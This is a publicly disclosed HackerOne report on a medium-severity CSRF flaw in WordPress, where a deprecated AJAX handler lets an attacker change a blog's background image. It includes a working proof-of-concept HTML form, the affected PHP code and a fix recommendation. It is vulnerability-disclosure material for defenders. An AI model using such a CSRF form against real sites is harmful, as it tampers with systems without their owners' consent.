HexBrain

WordPress · Report #881855

Arbitrary change of blog's background image via CSRF

Validstatus
mediumseverity
21upvotes
14 Dec 2020disclosed

How it was found

Description:

Despite being deprecated since v3.5.0, the wp_set_background_image method (defined in wp-admin/includes/class-custom-background.php), registered as an authenticated AJAX call (wp_ajax_set-background-image), is still active.

Given that the method is lacking CSRF checks, an attacker could change the background image of the blog to an arbitrary one from the media library via a CSRF attack on a logged in user with the edit_theme_options capability (by default administrators).

Steps To Reproduce:

Save the code below in an HTML file, replace the [WP] by the correct domain, and change the attachement_id to an existing attachment id. The size parameter can also be changed to thumbnail, medium, large or full.

<html>
  <body>
    <form action="https://[WP]/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="attachment_id" value="5" />
      <input type="hidden" name="action" value="set-background-image" />
      <input type="hidden" name="size" value="thumbnail" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Then log on to the blog as an administrator, open the file (with the same web browser used to login) and click the Submit request button. Then go the homepage of the blog and notice that the background image has been changed.

Recommendations

Given that the method has been deprecated and replaced with the ajax_background_add one which has the correct checks (both CSRF and authorisation), it would be recommended to remove the wp_set_background_image function all together, or at least not register it in the wp_ajax_ hook.

Affected Code

In wp-admin/includes/class-custom-background.php

// Unused since 3.5.0.
add_action( 'wp_ajax_set-background-image', array( $this, 'wp_set_background_image' ) );

/**
 * @since 3.4.0
 * @deprecated 3.5.0
 */
public function wp_set_background_image() {
	if ( ! current_user_can( 'edit_theme_options' ) || ! isset( $_POST['attachment_id'] ) ) {
		exit;
	}

	$attachment_id = absint( $_POST['attachment_id'] );

	$sizes = array_keys(
		/** This filter is documented in wp-admin/includes/media.php */
		apply_filters(
			'image_size_names_choose',
			array(
				'thumbnail' => __( 'Thumbnail' ),
				'medium'    => __( 'Medium' ),
				'large'     => __( 'Large' ),
				'full'      => __( 'Full Size' ),
			)
		)
	);

	$size = 'thumbnail';
	if ( in_array( $_POST['size'], $sizes ) ) {
		$size = esc_attr( $_POST['size'] );
	}

	update_post_meta( $attachment_id, '_wp_attachment_is_custom_background', get_option( 'stylesheet' ) );

	$url       = wp_get_attachment_image_src( $attachment_id, $size );
	$thumbnail = wp_get_attachment_image_src( $attachment_id, 'thumbnail' );
	set_theme_mod( 'background_image', esc_url_raw( $url[0] ) );
	set_theme_mod( 'background_image_thumb', esc_url_raw( $thumbnail[0] ) );
	exit;
}

Impact

An attacker could make a logged in administrator change the background image of the blog to one of the image available in the media library.

Depending on the images available, the blog may become unreadable as the image repeats itself, potentially masking the text.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original